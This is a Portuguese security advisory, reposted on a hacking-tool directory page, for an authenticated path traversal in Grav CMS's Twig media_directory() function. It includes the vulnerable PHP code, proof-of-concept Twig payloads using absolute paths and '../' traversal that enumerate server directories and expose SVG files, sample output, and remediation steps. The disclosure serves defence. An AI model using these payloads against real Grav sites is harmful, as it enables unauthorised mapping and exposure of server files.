Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-78851 — Aviso técnico detalhando uma vulnerabilidade de travessia de caminho autenticada na função `media_directory()` do Twig do Grav CMS, permitindo enumeração arbitrária de diretórios e divulgação de caminhos do sistema de arquivos. | Kitploit
Ferramentas/GitHubGitHub/slo-cyber-sec/cve-2026-78851
Análise de VulnerabilidadesExploraçãoColeta de InformaçõesSegurança WebTestes de Penetração
GitHubslo-cyber-sec/cve-2026-78851

CVE-2026-78851

Aviso técnico detalhando uma vulnerabilidade de travessia de caminho autenticada na função `media_directory()` do Twig do Grav CMS, permitindo enumeração arbitrária de diretórios e divulgação de caminhos do sistema de arquivos.

Ver Repositório
há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Grav Autenticado - Path Traversal / Divulgação Arbitrária de Diretórios via Twig media_directory()

Repórter

Nome: CYBER-SEC
Contato: [email protected]

Resumo

A função Twig media_directory() do Grav é exposta na lista de permissões do sandbox Twig do conteúdo de páginas, mas não aplica corretamente a contenção de caminhos para entradas que não são streams.

Um usuário autenticado com privilégios de edição de páginas pode chamar media_directory('/caminho/absoluto') ou usar travessia relativa como media_directory('../../../../caminho') dentro do conteúdo de páginas habilitadas para Twig. O Grav então indexa arquivos do tipo mídia de diretórios legíveis pelo usuário do servidor web.

Os objetos Medium retornados expõem propriedades permitidas no sandbox, como e , resultando em enumeração arbitrária de diretórios e divulgação de caminhos absolutos do sistema de arquivos. Para arquivos de imagem/SVG, a geração de URL ou cache pode expor arquivos através do mecanismo público de cache do Grav.

filepath
filename

Esta é uma vulnerabilidade de divulgação de informações autenticada. Não se sabe se permite exploração não autenticada ou execução remota direta de código.

Produto Afetado

Produto: CMS de arquivos planos Grav
Repositório: https://github.com/getgrav/grav
Versões afetadas verificadas: 2.0.3, 2.0.4, 2.0.6
Componente: Twig media_directory() / sandbox Twig do conteúdo de páginas do Grav

CWE

  • CWE-22: Limitação Incorreta de um Nome de Caminho a um Diretório Restrito ("Path Traversal")
  • CWE-200: Exposição de Informações Sensíveis a um Ator Não Autorizado

CVSS v3.1

Vetor: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Pontuação Base: 6.5 Média

Requisitos de Ataque

  • O atacante deve estar autenticado.
  • O atacante deve ter privilégios de edição de páginas.
  • O processamento de conteúdo Twig deve estar habilitado.
  • O diretório alvo deve ser legível pelo usuário do servidor web.

Detalhes Técnicos

O ponto vulnerável está localizado em:

root@kitploit:~
system/src/Grav/Common/Twig/Extension/GravExtension.php

Lógica relevante:

root@kitploit:~
public function mediaDirFunc($media_dir)
{
    $locator = $this->grav['locator'];

    if ($locator->isStream($media_dir)) {
        $media_dir = $locator->findResource($media_dir);
    }

    if ($media_dir && file_exists($media_dir)) {
        return new Media($media_dir);
    }

    return null;
}

Apenas entradas stream:// são resolvidas através do localizador do Grav. Caminhos absolutos ou relativos que não são streams são passados diretamente para new Media($media_dir) sem validação canônica de realpath(), rejeição de travessia ou contenção a diretórios aprovados e controlados pelo Grav.

A função é exposta através da lista de permissões do sandbox Twig do conteúdo de páginas:

root@kitploit:~
system/config/security.yaml
allowed_functions:
  - media_directory

O sandbox também permite métodos/propriedades de Medium como:

root@kitploit:~
filepath
filename
url
cache
resize

Isso permite que um editor de páginas autenticado divulgue nomes de arquivos e caminhos absolutos de diretórios legíveis arbitrários. Para arquivos de imagem/SVG, a geração pública de URL/cache pode expor o conteúdo do arquivo.

Prova de Conceito

Com o processamento de conteúdo Twig habilitado, crie ou edite uma página do Grav e insira:

root@kitploit:~
{% for name, m in media_directory('/var/www') %}
{{ name }} = {{ m.filepath }}
{% endfor %}

Forma de travessia:

root@kitploit:~
{% for name, m in media_directory('../../../../app/www/public') %}
{{ name }} = {{ m.filepath }}
{% endfor %}

Exemplo de exposição de imagem/SVG:

root@kitploit:~
{{ media_directory('/caminho/absoluto/para/privado')['secret.svg'].url }}

Quando a página é salva e renderizada, o Grav indexa arquivos do caminho controlado pelo atacante e expõe nomes de arquivos e caminhos absolutos do sistema de arquivos.

Comportamento Verificado

Verificado contra o Grav 2.0.6 usando a imagem Docker linuxserver/grav:latest.

Os resultados observados incluíram:

root@kitploit:~
LICENSE.txt    => /app/www/public/LICENSE.txt
composer.json  => /app/www/public/composer.json
robots.txt     => /app/www/public/robots.txt
now.json       => /app/www/public/now.json

A travessia relativa também foi confirmada:

root@kitploit:~
../../../../app/www/public

A exposição de arquivos SVG através de .url também foi confirmada em um ambiente de teste local controlado.

Impacto

Um editor de páginas autenticado pode:

  • Enumerar arquivos do tipo mídia em diretórios arbitrários legíveis pelo usuário do servidor web.
  • Divulgar caminhos absolutos do sistema de arquivos e nomes de arquivos.
  • Mapear a estrutura da aplicação e o layout do sistema de arquivos do servidor.
  • Identificar arquivos sensíveis, backups, arquivos de configuração, logs ou artefatos de implantação pelo nome.
  • Potencialmente expor arquivos de imagem/SVG fora do webroot pretendido através da geração pública de cache ou URL.

Esta vulnerabilidade é da classe de divulgação e não deve ser relatada como execução remota de código.

Remediação

Correções recomendadas:

  1. Remover media_directory da lista de permissões do sandbox Twig do conteúdo de páginas.

ou:

  1. Aplicar contenção estrita de caminho canônico a media_directory():
  • Resolver todos os caminhos usando realpath().
  • Rejeitar caminhos que contenham sequências de travessia.
  • Rejeitar caminhos que resolvam fora das raízes aprovadas e controladas pelo Grav.
  • Permitir apenas raízes seguras como user://pages, user://images ou outros diretórios de mídia explicitamente aprovados.
  • Revalidar caminhos antes da indexação de arquivos e antes da geração de cache/URL.

Divulgação

Este problema foi relatado pela CYBER-SEC.

Referências

  • https://github.com/getgrav/grav
  • https://github.com/getgrav/grav/releases
  • https://getgrav.org/downloads
  • https://github.com/getgrav/grav/security/advisories
Baixar ferramenta